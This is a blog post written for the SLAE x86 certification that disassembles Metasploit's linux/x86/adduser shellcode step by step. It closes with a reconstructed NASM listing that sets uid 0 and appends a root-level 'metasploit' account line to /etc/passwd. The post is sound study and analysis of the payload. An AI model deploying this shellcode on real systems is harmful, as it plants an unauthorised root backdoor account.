---
layout: post
title: "SLAE x86 Exam Part 5.2"
description: "SLAE x86 Exam Part 5.2: MSF Payload Analysis #2"
modified: 2018-06-03T14:00:00-05:00
tags: [pentest, asm, x86, slae]
---

# Overview
This blog post has been created for completing the requirements of the
SecurityTube Linux Assembly Expert certification:

[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](/http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/)

Student ID: SLAE-1260

---
# Payload #2

This is the second payload selected for [SLAE Part 5](/slae-5-msf). 

For Payload #2, I decided to try a different approach: mapping out syscalls 
and program flow, then filling in arguments.  Here's what I saw:
{% highlight nasm %}
00000007:   0x46 (SETREUID)
00000023:   0x05 (OPEN)
0000005A:   0x04 (WRITE)
0000005F:   0x01 (EXIT)
{% endhighlight %}

The opening call to SETREUID is called after clearing out EBX and ECX, 
meaning we're trying to set the effective UID to 0.  
{% highlight nasm %}
; int setreuid(uid_t ruid, uid_t euid);
xor ecx,ecx     ; Clear ECX
mov ebx,ecx     ; Clear EBX
push byte +0x46 ; Load 0x46 (SETREUID)...
pop eax         ; ...into EAX
int 0x80        ; Exec interrupt
{% endhighlight %}

Next, we execute a `OPEN` (`0x5`) syscall on a file we determine to be 
`/etc/passwd`:
{% highlight bash %}
$ echo "2F6574632F2F706173737764" | xxd -r -p; echo
/etc//passwd
{% endhighlight %}

{% highlight nasm %}
; int open(const char *pathname, int flags, mode_t mode);
push byte +0x5  ; Load 0x5 (OPEN)...
pop eax         ; ...into EAX
xor ecx,ecx     ; Clear ECX (flags = 0)
push ecx        ; Push 0x0
push dword 0x64777373   ; sswd
push dword 0x61702f2f   ; //pa
push dword 0x6374652f   ; /etc
mov ebx,esp     ; Save pointer to path -> EBX
inc ecx         ; ECX 0x0 -> 0x1
mov ch,0x4      ; ECX 0x1 -> 0x401
int 0x80        ; Exec interrupt
{% endhighlight %}

According to `/usr/include/asm-generic/fcntl.h`, the OFLAGS set within ECX 
are `O_WRONLY` and `O_APPEND`. (Note: fnctl.h stores its flags in octal! 
0x400 = o2000) Putting this all together, we're becoming root, then preparing 
to append some text to the `/etc/passwd` file.  

What comes next is a `CALL` statement followed by a bunch of weird ASM
instructions and ending with a line break (`0x0A`); when we saw this in the 
first payload, it was a string declaration. 
{% highlight nasm %}
00000026  E828000000        call 0x53
0000002B  6D                insd        
0000002C  657461            gs jz 0x90 
...
00000052  0A598B            or bl,[ecx-0x75]
{% endhighlight %}

Here's the same text decoded:
{% highlight bash %}
$ echo "6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A"| xxd -r -p
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
{% endhighlight %}

At this point it's clear we're creating a "metasploit" user, but because 
the string was declared inline in the .text section, `ndisasm` interpreted 
it as a series of instructions and did not delineate between these and the 
legitimate instructions that followed. Conveniently, it didn't matter since
the program's flow jumped right over it using `CALL 0x53`.  More on this in a 
minute.

I had to massage the instructions after the string before they made any sense:

{% highlight nasm %}
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
{% endhighlight %}

Using an x86 opcode reference [^1], I determined that the `0x59` immediately
following the `0x0A` was really a `POP ECX`, which seemed much more 
appropriate: it was loading the address of the string (pushed onto the stack  
by `CALL`) as an argument for the next syscall.  This is similar to 
the JMP/CALL/POP sequence we've seen before, albeit without the JMP.  The `8B 
51 FC`, too, makes more sense as a single call, but I still had to do some 
research to understand exactly what it was doing:

{% highlight bash %}
$ echo -ne "\x59\x8B\x51\xFC" | ndisasm -u -
00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]
{% endhighlight %}

The instruction that led us here, `0xE828`, is a 'near' call[^2]. Since `ECX` 
contains the address of the beginning of our "metasp..." string, `ECX-0x4` 
points to the last four bytes of the previous instruction, `0x28000000`.  

To quote the linked page:
> When executing a near call, the processor pushes the value of the EIP 
> register (which contains the offset of the instruction following the CALL 
> instruction) onto the stack (for use later as a return-instruction 
> pointer). The processor then branches to the address in the current code 
> segment specified with the target operand. The target operand specifies 
> either an absolute offset in the code segment (that is an offset from the 
> base of the code segment) or a relative offset (a signed displacement 
> relative to the current value of the instruction pointer in the EIP register, 
> which points to the instruction following the CALL instruction).

When executing `0xE828`, EIP will point to the next instruction, `0x2B`; we get 
`CALL 0x53` from `0x2B + 0x28 = 0x53`.  

This is an ingenious way to get the length of the string we just built: 
 1. `PUSH` the starting address onto the stack with `CALL`
 2. `POP` the address into `ECX`
 3. Look back 4 bytes to figure out how far we just jumped
 4. `MOV` that offset into `EDX`

The rest of the program is pretty straightforward: load `0x4` (`WRITE`) 
syscall into `EAX`, execute, and exit gracefully.

{% highlight nasm %}
global _start

section .text
_start:
    xor ecx,ecx     ; Clear ECX
    mov ebx,ecx     ; Clear EBX
    push byte +0x46 ; Load 0x46 (SETREUID)...
    pop eax         ; ...into EAX
    int 0x80        ; Exec interrupt
    push byte +0x5  ; Load 0x5 (OPEN)...
    pop eax         ; ...into EAX
    xor ecx,ecx     ; Clear ECX (flags = 0)
    push ecx        ; Push 0x0
    push dword 0x64777373   ; sswd
    push dword 0x61702f2f   ; //pa
    push dword 0x6374652f   ; /etc
    mov ebx,esp     ; Save pointer to path -> EBX
    inc ecx         ; ECX 0x0 -> 0x1
    mov ch,0x4      ; ECX 0x1 -> 0x401 (O_WRONLY|O_APPEND)
    int 0x80        ; Exec interrupt
    xchg eax,ebx    ; Save file descriptor -> EBX
    call 0x53       ; Jump +0x28 (LBL1)
    ; "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh"...
LBL1:
    pop ecx         ; Get address of string
    mov edx,[ecx-0x4]   ; Get length of string
    push byte +0x4  ; Load 0x4 (WRITE)...
    pop eax         ; ...into EAX
    int 0x80        ; Exec interrupt
    push byte +0x1  ; Load 0x1 (EXIT)...
    pop eax         ; ...into EAX
    int 0x80        ; Exec interrupt
{% endhighlight %}

There you have it: linux/x86/adduser. We saw some neat tricks in this one!

## Screenshots

![Execution of Payload #2]({{ "/assets/images/5.2-msf2.png" | absolute_url}})

Finally, on to [Payload #3](/slae-5-msf3)

---

[^1]: https://ref.x86asm.net/geek32.html#x58
[^2]: https://c9x.me/x86/html/file_module_x86_id_26.html
